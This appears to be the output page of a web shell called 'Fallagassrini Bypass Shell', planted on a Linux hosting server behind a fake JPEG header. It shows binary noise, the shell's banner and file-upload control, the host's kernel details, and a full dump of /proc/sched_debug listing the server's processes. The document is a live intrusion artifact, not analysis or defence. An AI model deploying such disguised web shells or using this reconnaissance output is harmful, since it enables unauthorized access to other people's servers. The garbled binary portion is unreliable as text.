JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /proc/

Linux server.meentosys.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Upload File :
Current File : //proc/sched_debug

Sched Debug Version: v0.11, 3.10.0-1160.105.1.el7.x86_64 #1
ktime                                   : 3156566985.446185
sched_clk                               : 3156518375.639078
cpu_clk                                 : 3156566985.446288
jiffies                                 : 7451234282
sched_clock_stable()                    : 0

sysctl_sched
  .sysctl_sched_latency                    : 18.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 40571
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2799.998 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 619096663
  .nr_load_updates               : 1225947612
  .nr_uninterruptible            : -8808
  .next_balance                  : 7451.234194
  .curr->pid                     : 0
  .clock                         : 3156566982.051738
  .cpu_load[0]                   : 18
  .cpu_load[1]                   : 18
  .cpu_load[2]                   : 22
  .cpu_load[3]                   : 38
  .cpu_load[4]                   : 42
  .avg_idle                      : 1881458
  .max_idle_balance_cost         : 929704

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 41642441326.809338
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 8
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 46588
  .avg->runnable_avg_period      : 46604

rt_rq[0]:/bitninja_main
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
        kthreadd     2 41641733732.169969     27087   120         0.000000      1356.548402         0.000000 0 /
    kworker/0:0H     4      1043.554262        10   100         0.000000         0.091050         0.000000 0 /
     ksoftirqd/0     6 41642392799.444576   3799228   120         0.000000     76389.370875         0.000000 0 /
     migration/0     7         0.000000   2595352     0         0.000000     28851.939916         0.000000 0 /
          rcu_bh     8        19.856467         2   120         0.000000         0.001120         0.000000 0 /
   lru-add-drain    10        23.858091         2   100         0.000000         0.001990         0.000000 0 /
      watchdog/0    11         0.000000    789146     0         0.000000     18316.007897         0.000000 0 /
      khungtaskd    30 41640885853.411631     26306   120         0.000000      3110.825891         0.000000 0 /
         ata_sff   285 40100025761.493714        20   100         0.000000         0.440590         0.000000 0 /
   virtscsi-scan   286      1013.933439         2   100         0.000000         0.006060         0.000000 0 /
       scsi_eh_1   289      1022.934964         2   120         0.000000         0.001530         0.000000 0 /
       scsi_eh_2   290      1034.556373        11   120         0.000000         2.518222         0.000000 0 /
      scsi_tmf_1   291      1031.951152         2   100         0.000000         0.005260         0.000000 0 /
      scsi_tmf_2   292      1031.952078         2   100         0.000000         0.005200         0.000000 0 /
    kworker/0:1H   329 41642392799.355299    761876   100         0.000000     12666.591614         0.000000 0 /
 systemd-journal   448 41642392800.360926   2764951   120         0.000000   1423454.637772         0.000000 0 /
         polkitd   576 41641272290.234638    312545   120         0.000000     19110.957932         0.000000 0 /
  systemd-logind   578 41641272290.551751    748183   120         0.000000     64620.162613         0.000000 0 /
         php-fpm   974 41642392799.487665   3153894   120         0.000000    154616.209498         0.000000 0 /
   zabbix_agentd   991 41638667853.111945    518773   120         0.000000     61386.646771         0.000000 0 /
         php-fpm   998 41642440521.163926   5070212   120         0.000000    221546.735795         0.000000 0 /
           named  1025      1723.699089        10   120         0.000000         4.995448         0.000000 0 /
  isc-worker0000  1026 41642180192.314493   3059369   120         0.000000    266692.416776         0.000000 0 /
          mysqld  1524 41642346462.119726    631308   120         0.000000     33667.254736         0.000000 0 /
          mysqld  1537      3331.778247         1   120         0.000000         0.015430         0.000000 0 /
          mysqld  1538      3351.621392         1   120         0.000000         0.062570         0.000000 0 /
          mysqld  1540      3374.288908         1   120         0.000000         0.132354         0.000000 0 /
          mysqld  1541      3390.961671         5   120         0.000000         0.812987         0.000000 0 /
          mysqld 10974 41641576479.029498     29097   120         0.000000      4868.321868         0.000000 0 /
          mysqld  8842 41641668053.153550     22288   120         0.000000      5189.168043         0.000000 0 /
          mysqld  3600 41641668050.214749     19483   120         0.000000      3964.319532         0.000000 0 /
          mysqld 17832 41641576479.505428     19870   120         0.000000      4658.918169         0.000000 0 /
        rsyslogd  1321 41640847386.942260      5325   120         0.000000       554.338725         0.000000 0 /
   rs:main Q:Reg  1338 41642392799.430325   3441814   120         0.000000    179705.567057         0.000000 0 /
          agetty  1340      4327.593154         6   120         0.000000         5.769921         0.000000 0 /
          agetty  1344      4284.634140         6   120         0.000000         4.002307         0.000000 0 /
 disk-spacealert  9551 17169426771.642905         7   120         0.000000         3.414006         0.000000 0 /
   bitninja-dojo 32745 18398504919.221103        94   138         0.000000        74.472296         0.000000 0 /
   bitninja-dojo 32746 18398505512.401652        89   138         0.000000        71.718808         0.000000 0 /
   bitninja-dojo 32751 18398504916.780961        68   138         0.000000        54.249534         0.000000 0 /
         php-fpm 31516 41642393624.101414   1878195   120         0.000000    175688.828781         0.000000 0 /
            node 13002 41642392799.533125     19767   120         0.000000     13030.362738         0.000000 0 /
            node 13003 41642392799.404610     19917   120         0.000000     13191.559692         0.000000 0 /
 bitninja-dispat 13006 41642392799.381135    142449   120         0.000000      7621.183338         0.000000 0 /
           httpd 22275 41641848588.555608       453   120         0.000000       493.417872         0.000000 0 /
           httpd 22271 41031920542.592371      1481   120         0.000000        43.290905         0.000000 0 /
           httpd 22294 41642244544.291626       461   120         0.000000       469.467331         0.000000 0 /
           httpd 23418 41642202756.321203      1362   120         0.000000      1314.366776         0.000000 0 /
           httpd 23433 41641951509.442973      1413   120         0.000000      1406.067441         0.000000 0 /
           httpd 26859 41642346665.832346      1138   120         0.000000      1228.767487         0.000000 0 /
           crond  9623 41577336631.622720         6   120         0.000000         5.359872         0.000000 0 /
 freshclam-sleep  9636 41577336663.697417         4   120         0.000000         2.879593         0.000000 0 /
     kworker/0:1   806 41642436027.335193      2858   120         0.000000      1001.586881         0.000000 0 /
     kworker/0:0  8512 41641410862.551206       151   120         0.000000         9.039497         0.000000 0 /
     kworker/0:2 12486 41642392799.408325        24   120         0.000000         1.292681         0.000000 0 /
            sshd 12943 41642392803.677089        16   120         0.000000         6.264077         0.000000 0 /

cpu#1, 2799.998 MHz
  .nr_running                    : 1
  .load                          : 1024
  .nr_switches                   : 622995355
  .nr_load_updates               : 1280277118
  .nr_uninterruptible            : 7769
  .next_balance                  : 7451.234379
  .curr->pid                     : 12956
  .clock                         : 3156566986.010193
  .cpu_load[0]                   : 1024
  .cpu_load[1]                   : 1024
  .cpu_load[2]                   : 1025
  .cpu_load[3]                   : 1036
  .cpu_load[4]                   : 982
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 40816134018.865281
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -826307307.944057
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1024
  .runnable_load_avg             : 1023
  .blocked_load_avg              : 277
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 25810
  .avg->runnable_avg_period      : 47916

rt_rq[1]:/bitninja_main
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
      watchdog/1    12        -2.994030    789147     0         0.000000     15370.950937         0.000000 0 /
     migration/1    13         0.000000   3734259     0         0.000000     46947.249605         0.000000 0 /
     ksoftirqd/1    14 40816133922.605720   2625381   120         0.000000     70635.261122         0.000000 0 /
    kworker/1:0H    16      3350.394581        10   100         0.000000         0.049630         0.000000 0 /
        xfsalloc   319      1069.156533         2   100         0.000000         0.006900         0.000000 0 /
   xfs_mru_cache   320      1073.659709         2   100         0.000000         0.004230         0.000000 0 /
   xfs-data/sda1   322 30486967457.943473        11   100         0.000000         2.889576         0.000000 0 /
    xfsaild/sda1   328 40816133988.887509  62137339   120         0.000000   1426515.956442         0.000000 0 /
           gmain   606      1948.177676         2   120         0.000000         0.113356         0.000000 0 /
    JS GC Helper   609      1957.577670         1   120         0.000000         0.123436         0.000000 0 /
        gssproxy   585      1886.010417         1   120         0.000000         0.031910         0.000000 0 /
        gssproxy   586      1890.513232         1   120         0.000000         0.003460         0.000000 0 /
        gssproxy   587      1895.023247         1   120         0.000000         0.010020         0.000000 0 /
        gssproxy   588      1899.530252         1   120         0.000000         0.007010         0.000000 0 /
        gssproxy   589      1904.038837         1   120         0.000000         0.008590         0.000000 0 /
    kworker/1:1H   898 40816092512.802380    239785   100         0.000000      5266.352764         0.000000 0 /
         php-fpm   970 40816133953.536864   3153698   120         0.000000    159484.294830         0.000000 0 /
         php-fpm   983 40816133953.548964   3155840   120         0.000000    158541.955261         0.000000 0 /
   zabbix_agentd   987 40816133953.686445   3155939   120         0.000000    612544.305875         0.000000 0 /
         php-fpm   995 40816133953.565544   3153754   120         0.000000    156386.224648         0.000000 0 /
           tuned   997 40797327957.457747      1274   120         0.000000       307.083694         0.000000 0 /
           tuned  1167 40816133953.613734   3153338   120         0.000000    416997.856241         0.000000 0 /
  isc-worker0002  1028 40816096230.387545   3045319   120         0.000000    269004.091165         0.000000 0 /
  isc-worker0003  1029 40816096230.537754   3043194   120         0.000000    268896.789104         0.000000 0 /
       isc-timer  1030 40814215642.285074      8367   120         0.000000       590.352889         0.000000 0 /
      isc-socket  1031 40816096230.469880   9790992   120         0.000000    344352.677397         0.000000 0 /
          mysqld  1303 40816133953.528774   6394374   120         0.000000    176977.333566         0.000000 0 /
          mysqld  1304 40816133953.563794   6332010   120         0.000000    213779.659047         0.000000 0 /
          mysqld  1306 40816133953.540164   6347045   120         0.000000    212732.106673         0.000000 0 /
          mysqld  1307 40816133953.608859   6337375   120         0.000000    208821.332884         0.000000 0 /
          mysqld  1309 40816133953.543274   6329759   120         0.000000    192867.465887         0.000000 0 /
          mysqld  1310 40816133953.534411   6331280   120         0.000000    188925.774055         0.000000 0 /
          mysqld  1519 40816133953.504974   3156171   120         0.000000    137480.372387         0.000000 0 /
          mysqld  1520 40816133950.707897   3154967   120         0.000000   2399890.385066         0.000000 0 /
          mysqld  1522 40816133948.405898   3250289   120         0.000000   1825769.794205         0.000000 0 /
          mysqld  1525 40814359572.850684    585350   120         0.000000     22461.734174         0.000000 0 /
          mysqld  1526 40814359571.823413    256359   120         0.000000      3075.782462         0.000000 0 /
          mysqld  1528 40814359571.961824    250307   120         0.000000      4087.528071         0.000000 0 /
          mysqld  1536 40816133953.494684   3156191   120         0.000000    109515.800244         0.000000 0 /
        opendkim  1124 40816133953.516364    630743   120         0.000000     32407.368959         0.000000 0 /
    in:imjournal  1337 40816133953.577605   6161792   120         0.000000    625580.416673         0.000000 0 /
    redis-server  1322 40816133979.058931  31481544   120         0.000000   4249263.970619         0.000000 0 /
             atd  1342 40796884751.228633       888   120         0.000000       122.861179         0.000000 0 /
           anvil  1509 40816100034.362815    124613   120         0.000000     11018.036273         0.000000 0 /
           crond  9550 17519043947.750712        15   120         0.000000         6.754889         0.000000 0 /
   bitninja-dojo 32744 18710387809.458660       104   138         0.000000        74.304026         0.000000 0 /
            node 13000 40816096034.861061     19917   120         0.000000     12981.226427         0.000000 0 /
           httpd 22172 40816133953.554544     47249   120         0.000000      3298.964452         0.000000 0 /
           httpd 22270 40382179701.076489      1424   120         0.000000        43.121837         0.000000 0 /
           httpd 22277 40816094929.935307       414   120         0.000000       393.323260         0.000000 0 /
           httpd 22332 40816091660.032682       446   120         0.000000       439.259575         0.000000 0 /
           httpd 22335 40816092572.495040       467   120         0.000000       539.796934         0.000000 0 /
           httpd 22336 40816092100.323749       449   120         0.000000       479.438609         0.000000 0 /
           httpd 22337 40816091721.249800       444   120         0.000000       463.955962         0.000000 0 /
           httpd 22342 40816094918.209395       462   120         0.000000       518.241651         0.000000 0 /
           httpd 22344 40816092293.185432       416   120         0.000000       437.134767         0.000000 0 /
           httpd 22345 40816092714.279472       454   120         0.000000       494.795686         0.000000 0 /
           httpd 22279 40816100745.093829       486   120         0.000000       503.069302         0.000000 0 /
           httpd 22283 40816100331.996573       472   120         0.000000       496.590385         0.000000 0 /
           httpd 22284 40816133478.616800       487   120         0.000000       481.624782         0.000000 0 /
           httpd 22286 40816099981.328010       486   120         0.000000       519.916844         0.000000 0 /
           httpd 22288 40816100035.025388       492   120         0.000000       475.265671         0.000000 0 /
           httpd 22290 40816100954.526934       481   120         0.000000       507.787863         0.000000 0 /
           httpd 22291 40816100487.885075       502   120         0.000000       504.529808         0.000000 0 /
           httpd 22295 40816133953.816645       526   120         0.000000       562.178246         0.000000 0 /
           httpd 22296 40816133954.192260       499   120         0.000000       518.978905         0.000000 0 /
           httpd 22299 40816133509.405245       473   120         0.000000       457.183814         0.000000 0 /
           httpd 22301 40816096365.441413       469   120         0.000000       514.506090         0.000000 0 /
           httpd 22303 40816096441.265776       480   120         0.000000       468.518606         0.000000 0 /
           httpd 22305 40816133953.754864     21649   120         0.000000      1070.984576         0.000000 0 /
           httpd 22272 40382179721.872045      1472   120         0.000000        45.678633         0.000000 0 /
           httpd 22309 40816066684.681304       699   120         0.000000       714.445266         0.000000 0 /
           httpd 22311 40816090272.603450       660   120         0.000000       603.403593         0.000000 0 /
           httpd 22314 40816065437.363809       679   120         0.000000       665.692707         0.000000 0 /
           httpd 22317 40816077745.132487       654   120         0.000000       624.346584         0.000000 0 /
           httpd 22319 40816065418.336208       638   120         0.000000       587.555787         0.000000 0 /
           httpd 22331 40816133953.780735     24486   120         0.000000      1358.272272         0.000000 0 /
           httpd 23410 40816088922.854955      1361   120         0.000000      1399.353358         0.000000 0 /
           httpd 23416 40816088975.111707      1368   120         0.000000      1425.631092         0.000000 0 /
           httpd 23420 40816089494.173875      1394   120         0.000000      1428.415927         0.000000 0 /
           httpd 23423 40816089403.734552      1327   120         0.000000      1214.698424         0.000000 0 /
           httpd 23425 40816100371.795235      1329   120         0.000000      1348.611243         0.000000 0 /
           httpd 23427 40816088423.627153      1306   120         0.000000      1331.951969         0.000000 0 /
           httpd 23429 40816089326.273427      1371   120         0.000000      1282.416711         0.000000 0 /
           httpd 23432 40816088771.121592      1367   120         0.000000      1369.770852         0.000000 0 /
           httpd 26852 40816133514.894173      1108   120         0.000000      1085.576359         0.000000 0 /
           httpd 26864 40816100729.021264      1061   120         0.000000      1078.651776         0.000000 0 /
           httpd 26870 40816100372.046884      1095   120         0.000000      1100.493122         0.000000 0 /
           httpd 26872 40816100303.390520      1028   120         0.000000      1035.651841         0.000000 0 /
     kworker/1:1  9628 40816133953.520904      6197   120         0.000000       146.108360         0.000000 0 /
              sh  9632 40779282768.915534         1   120         0.000000         1.609444         0.000000 0 /
     kworker/1:0  8400 40815138685.729346         3   120         0.000000         0.012540         0.000000 0 /
            auth 12134 40816089096.452084        19   120         0.000000        18.340409         0.000000 0 /
R        php-cgi 12956 40816134018.865281         3   120         0.000000        43.907376         0.000000 0 /

cpu#2, 2799.998 MHz
  .nr_running                    : 1
  .load                          : 18
  .nr_switches                   : 558625370
  .nr_load_updates               : 1279279555
  .nr_uninterruptible            : -7355
  .next_balance                  : 7451.234405
  .curr->pid                     : 1917
  .clock                         : 3156566986.008313
  .cpu_load[0]                   : 18
  .cpu_load[1]                   : 17
  .cpu_load[2]                   : 14
  .cpu_load[3]                   : 9
  .cpu_load[4]                   : 5
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 46001284470.150365
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 4358843143.341027
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 18
  .runnable_load_avg             : 17
  .blocked_load_avg              : 11
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 4275
  .avg->runnable_avg_period      : 48070

rt_rq[2]:/bitninja_main
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
      watchdog/2    17        -6.000000    789144     0         0.000000     15646.301591         0.000000 0 /
     migration/2    18         0.000000   3030133     0         0.000000     33127.316046         0.000000 0 /
     ksoftirqd/2    19 46001284235.781425   3820115   120         0.000000     88435.619735         0.000000 0 /
    kworker/2:0H    21       192.460070        10   100         0.000000         0.055110         0.000000 0 /
         kswapd0    45 45995809129.751548    102073   120         0.000000    223631.146815         0.000000 0 /
      khugepaged    47 46000058222.172411    139776   139         0.000000     10532.044706         0.000000 0 /
          bioset   318       201.459519         2   100         0.000000         0.020460         0.000000 0 /
    xfs-cil/sda1   324 44611612735.015149        24   100         0.000000         1.534621         0.000000 0 /
    kworker/2:1H   330 46000994532.211934    297363   100         0.000000      7207.635906         0.000000 0 /
   systemd-udevd   482 29365679979.887678       389   120         0.000000        59.131832         0.000000 0 /
     dbus-daemon   566 45999627426.564126    973366   120         0.000000    107707.711363         0.000000 0 /
      irqbalance   574 46001284235.999655    315690   120         0.000000    101407.579434         0.000000 0 /
           gdbus   607 45999627426.157721    296966   120         0.000000     29295.226584         0.000000 0 /
         php-fpm   967 46001284235.784115   3153868   120         0.000000    168489.839972         0.000000 0 /
         php-fpm   979 46001284235.791085   3153695   120         0.000000    154635.721154         0.000000 0 /
   zabbix_agentd   990 45994499324.606031    489561   120         0.000000     59692.827189         0.000000 0 /
           gmain  1166      1342.410010         1   120         0.000000         0.067490         0.000000 0 /
           tuned  1177      1369.423050         3   120         0.000000         0.175040         0.000000 0 /
           tuned  1181      1386.019561         1   120         0.000000         0.598911         0.000000 0 /
          mysqld  1308 46001284235.855855   6403329   120         0.000000    175546.228596         0.000000 0 /
          mysqld  1527 45985466934.405124    260629   120         0.000000      3244.735953         0.000000 0 /
          mysqld  8841 46000235327.956703     26861   120         0.000000     11033.471758         0.000000 0 /
          mysqld  3601 46001120391.513955     28418   120         0.000000      8937.076215         0.000000 0 /
          mysqld 25501 46000235327.936583     21705   120         0.000000      6239.945170         0.000000 0 /
        opendkim  1120      1282.464059         7   120         0.000000         0.440597         0.000000 0 /
        opendkim  1127      1299.095864         1   120         0.000000         0.005710         0.000000 0 /
        opendkim  1128      1297.617171         1   120         0.000000         0.006250         0.000000 0 /
     in:imuxsock  1336      2033.292915         1   120         0.000000         0.028300         0.000000 0 /
   bio_aof_fsync  1331      2004.035803         1   120         0.000000         0.009950         0.000000 0 /
   bio_lazy_free  1332      1993.872666         1   120         0.000000         0.010590         0.000000 0 /
         dovecot  1415 46000138562.992917    290056   120         0.000000     30349.013714         0.000000 0 /
R       bitninja  1917 46001284470.150365  16016149   138         0.000000 3147512659.989119         0.000000 0 /
            mail  9568 20948698862.757215         3   120         0.000000         3.488019         0.000000 0 /
   bitninja-dojo 32748 22334717962.248058        72   138         0.000000        70.298059         0.000000 0 /
   bitninja-dojo 32749 22334717961.555720        78   138         0.000000        64.019219         0.000000 0 /
   bitninja-dojo 32750 22334718001.948025        72   138         0.000000        65.099371         0.000000 0 /
             log 20351 46000138563.131110     34605   120         0.000000      3481.851346         0.000000 0 /
          config 20356 46000138562.905117     45838   120         0.000000     15600.039719         0.000000 0 /
            qmgr 20375 45994833532.186402      3978   120         0.000000      1126.335333         0.000000 0 /
 bitninja-mq-ser 12946 46001284237.731486  10961463   120         0.000000   1067101.773911         0.000000 0 /
 bitninja-dispat 13005 46001284235.863752    142450   120         0.000000      7680.188424         0.000000 0 /
 bitninja-dispat 13007 46001284235.789257    142471   120         0.000000      7719.257539         0.000000 0 /
          cwpsrv 21620 45998871582.709445      4190   120         0.000000      1359.348885         0.000000 0 /
           httpd 22338 46000556138.448622       438   120         0.000000       431.966672         0.000000 0 /
           httpd 22340 46000649865.434101       455   120         0.000000       503.346935         0.000000 0 /
           httpd 22350 46001284236.516580       416   120         0.000000       415.101759         0.000000 0 /
           httpd 22351 46000649865.916430       454   120         0.000000       465.538685         0.000000 0 /
           httpd 22282 46001118047.640064       468   120         0.000000       482.500069         0.000000 0 /
           httpd 22285 46000990714.100336       487   120         0.000000       517.586733         0.000000 0 /
           httpd 22300 46001179029.546398       510   120         0.000000       538.027154         0.000000 0 /
           httpd 22312 46000895474.907136       690   120         0.000000       709.270083         0.000000 0 /
           httpd 23409 46000058465.832394      1350   120         0.000000      1401.441483         0.000000 0 /
           httpd 23415 46000058455.112379      1318   120         0.000000      1273.750427         0.000000 0 /
           httpd 23419 46001013968.015246      1312   120         0.000000      1288.411401         0.000000 0 /
           httpd 23422 46000058398.947891      1350   120         0.000000      1310.218125         0.000000 0 /
           httpd 23426 46000058486.659014      1365   120         0.000000      1387.077187         0.000000 0 /
           httpd 23430 46000967192.811458      1378   120         0.000000      1353.803033         0.000000 0 /
           httpd 26862 46001284236.351227      1112   120         0.000000      1133.765751         0.000000 0 /
           httpd 26874 46001284236.065789     21151   120         0.000000      1569.590363         0.000000 0 /
           sleep  9653 45920391112.441204         2   120         0.000000         9.223890         0.000000 0 /
     kworker/2:0 30890 46000348452.234923       407   120         0.000000        10.797421         0.000000 0 /
     kworker/2:2  8402 46000348452.012103       383   120         0.000000         5.689292         0.000000 0 /
        proxymap  9443 45999807552.906548        18   120         0.000000         9.366227         0.000000 0 /
     kworker/2:1 12648 46001284235.761545        33   120         0.000000         0.429102         0.000000 0 /

cpu#3, 2799.998 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 511449623
  .nr_load_updates               : 1352179229
  .nr_uninterruptible            : 8394
  .next_balance                  : 7451.234288
  .curr->pid                     : 0
  .clock                         : 3156566987.032010
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 0
  .cpu_load[3]                   : 9
  .cpu_load[4]                   : 51
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[3]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 51007478597.019080
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 9365037270.209742
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_load_avg             : 0
  .blocked_load_avg              : 18
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 3977
  .avg->runnable_avg_period      : 47329

rt_rq[3]:/bitninja_main
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[3]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
         systemd     1 51007478582.558099   2228796   120         0.000000    414872.759958         0.000000 0 /
       rcu_sched     9 51007478588.037170 492346365   120         0.000000   5025873.493293         0.000000 0 /
      watchdog/3    22        -6.000000    789146     0         0.000000     14618.469333         0.000000 0 /
     migration/3    23         0.000000   3757744     0         0.000000     47294.079471         0.000000 0 /
     ksoftirqd/3    24 51007478552.167989   2092992   120         0.000000     47468.852647         0.000000 0 /
    kworker/3:0H    26      4764.442973        10   100         0.000000         0.084870         0.000000 0 /
       kdevtmpfs    28      2576.463196       128   120         0.000000         2.693583         0.000000 0 /
           netns    29        48.577709         2   100         0.000000         0.006640         0.000000 0 /
       writeback    31        66.586609         2   100         0.000000         0.000000         0.000000 0 /
     kintegrityd    32        75.592504         2   100         0.000000         0.005900         0.000000 0 /
          bioset    33        84.592499         2   100         0.000000         0.000000         0.000000 0 /
          bioset    34        93.592494         2   100         0.000000         0.000000         0.000000 0 /
          bioset    35       102.592489         2   100         0.000000         0.000000         0.000000 0 /
         kblockd    36       111.592484         2   100         0.000000         0.000000         0.000000 0 /
              md    37       120.592479         2   100         0.000000         0.000000         0.000000 0 /
     edac-poller    38       129.601134         2   100         0.000000         0.008660         0.000000 0 /
       watchdogd    39       135.608522         2   100         0.000000         0.007390         0.000000 0 /
            ksmd    46       198.757710         2   125         0.000000         0.021060         0.000000 0 /
          crypto    48       213.917908         2   100         0.000000         0.015850         0.000000 0 /
        kthrotld    56       283.300375         2   100         0.000000         0.012970         0.000000 0 /
    kmpath_rdacd    58       301.338113         2   100         0.000000         0.018950         0.000000 0 /
          kaluad    59       307.361057         2   100         0.000000         0.023610         0.000000 0 /
       kpsmoused    60       313.383718         2   100         0.000000         0.023860         0.000000 0 /
   ipv6_addrconf    62       322.400080         2   100         0.000000         0.017110         0.000000 0 /
         deferwq    75       404.026240         2   100         0.000000         0.029340         0.000000 0 /
